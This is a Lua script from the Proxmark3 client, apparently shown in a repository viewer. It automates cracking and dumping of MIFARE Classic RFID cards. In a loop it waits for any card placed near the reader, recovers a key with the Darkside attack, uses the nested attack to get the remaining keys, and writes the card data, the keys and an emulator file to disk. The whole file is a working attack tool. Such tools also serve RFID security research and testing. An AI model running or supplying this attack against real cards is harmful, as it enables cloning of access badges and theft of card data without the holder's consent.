fix detection of lf t55x7 if xtd bits set but...
[proxmark3-svn] / client / scripts / mifare_autopwn.lua
1 local getopt = require('getopt')
2 local reader = require('read14a')
3 local cmds = require('commands')
4
5 example = "script run mifare_autopwn"
6 author = "Martin Holst Swende"
7
8
9 desc =
10 [[
11 This is a which automates cracking and dumping mifare classic cards. It sets itself into
12 'listening'-mode, after which it cracks and dumps any mifare classic card that you
13 place by the device.
14
15 Arguments:
16 -d debug logging on
17 -h this help
18
19 Output files from this operation:
20 <uid>.eml - emulator file
21 <uid>.html - html file containing card data
22 dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
23 dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
24
25 ]]
26
27 -------------------------------
28 -- Some utilities
29 -------------------------------
30 local DEBUG = false
31 ---
32 -- A debug printout-function
33 function dbg(args)
34 if DEBUG then
35 print(":: ", args)
36 end
37 end
38 ---
39 -- This is only meant to be used when errors occur
40 function oops(err)
41 print("ERROR: ",err)
42 return nil,err
43 end
44
45 ---
46 -- Usage help
47 function help()
48 print(desc)
49 print("Example usage")
50 print(example)
51 end
52
53 ---
54 -- Waits for a mifare card to be placed within the vicinity of the reader.
55 -- @return if successfull: an table containing card info
56 -- @return if unsuccessfull : nil, error
57 function wait_for_mifare()
58 while not core.ukbhit() do
59 res, err = reader.read1443a()
60 if res then return res end
61 -- err means that there was no response from card
62 end
63 return nil, "Aborted by user"
64 end
65
66 function mfcrack()
67 core.clearCommandBuffer()
68 -- Build the mifare-command
69 local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
70
71 local retry = true
72 while retry do
73 core.SendCommand(cmd:getBytes())
74 local key, errormessage = mfcrack_inner()
75 -- Success?
76 if key then return key end
77 -- Failure?
78 if errormessage then return nil, errormessage end
79 -- Try again..set arg1 to 0 this time.
80
81 cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
82 end
83 return nil, "Aborted by user"
84 end
85
86
87 function mfcrack_inner()
88 while not core.ukbhit() do
89 local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
90 if result then
91
92 --[[
93 I don't understand, they cmd and args are defined as uint32_t, however,
94 looking at the returned data, they all look like 64-bit things:
95
96 print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))
97
98 FF 00 00 00 00 00 00 00 <-- 64 bits of data
99 FE FF FF FF 00 00 00 00 <-- 64 bits of data
100 00 00 00 00 00 00 00 00 <-- 64 bits of data
101 00 00 00 00 00 00 00 00 <-- 64 bits of data
102 04 7F 12 E2 00 <-- this is where 'data' starts
103
104 So below I use LI to pick out the "FEFF FFFF", don't know why it works..
105 --]]
106 -- Unpacking the arg-parameters
107 local count,cmd,isOK = bin.unpack('LI',result)
108 --print("response", isOK)--FF FF FF FF
109 if isOK == 0xFFFFFFFF then
110 return nil, "Button pressed. Aborted."
111 elseif isOK == 0xFFFFFFFE then
112 return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
113 elseif isOK == 0xFFFFFFFD then
114 return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
115 elseif isOK == 0xFFFFFFFC then
116 return nil, "The card's random number generator behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
117 elseif isOK ~= 1 then
118 return nil, "Error occurred"
119 end
120
121
122 -- The data-part is left
123 -- Starts 32 bytes in, at byte 33
124 local data = result:sub(33)
125
126 -- A little helper
127 local get = function(num)
128 local x = data:sub(1,num)
129 data = data:sub(num+1)
130 return x
131 end
132
133 local uid,nt,pl = get(4),get(4),get(8)
134 local ks,nr = get(8),get(4)
135
136 local status, key = core.nonce2key(uid,nt, nr, pl,ks)
137 if not status then return status,key end
138
139 if status > 0 then
140 print("Key not found (lfsr_common_prefix problem)")
141 -- try again
142 return nil,nil
143 else
144 return key
145 end
146 end
147 end
148 return nil, "Aborted by user"
149 end
150
151 function nested(key,sak)
152 local typ = 1
153 if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
154 typ = 4
155 elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
156 typ= 1
157 elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
158 typ = 0
159 elseif 0x10 == sak then-- "NXP MIFARE Plus 2k"
160 typ = 2
161 elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
162 typ = 1
163 else
164 print("I don't know how many sectors there are on this type of card, defaulting to 16")
165 end
166 local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
167 core.console(cmd)
168 end
169
170 function dump(uid)
171 core.console("hf mf dump")
172 -- Save the global args, those are *our* arguments
173 local myargs = args
174 -- Set the arguments for htmldump script
175 args =("-o %s.html"):format(uid)
176 -- call it
177 require('../scripts/htmldump')
178
179 args =""
180 -- dump to emulator
181 require('../scripts/dumptoemul')
182 -- Set back args. Not that it's used, just for the karma...
183 args = myargs
184 end
185
186 ---
187 -- The main entry point
188 function main(args)
189
190
191 local verbose, exit,res,uid,err,_,sak
192 local seen_uids = {}
193
194 -- Read the parameters
195 for o, a in getopt.getopt(args, 'hd') do
196 if o == "h" then help() return end
197 if o == "d" then DEBUG = true end
198 end
199
200 while not exit do
201 res, err = wait_for_mifare()
202 if err then return oops(err) end
203 -- Seen already?
204 uid = res.uid
205 sak = res.sak
206 if not seen_uids[uid] then
207 -- Store it
208 seen_uids[uid] = uid
209 print("Card found, commencing crack", uid)
210 -- Crack it
211 local key, cnt
212 res,err = mfcrack()
213 if not res then return oops(err) end
214 -- The key is actually 8 bytes, so a
215 -- 6-byte key is sent as 00XXXXXX
216 -- This means we unpack it as first
217 -- two bytes, then six bytes actual key data
218 -- We can discard first and second return values
219 _,_,key = bin.unpack("H2H6",res)
220 print("Key ", key)
221
222 -- Use nested attack
223 nested(key,sak)
224 -- Dump info
225 dump(uid)
226 end
227 end
228 end
229
230 -- Call the main
231 main(args)
Impressum, Datenschutz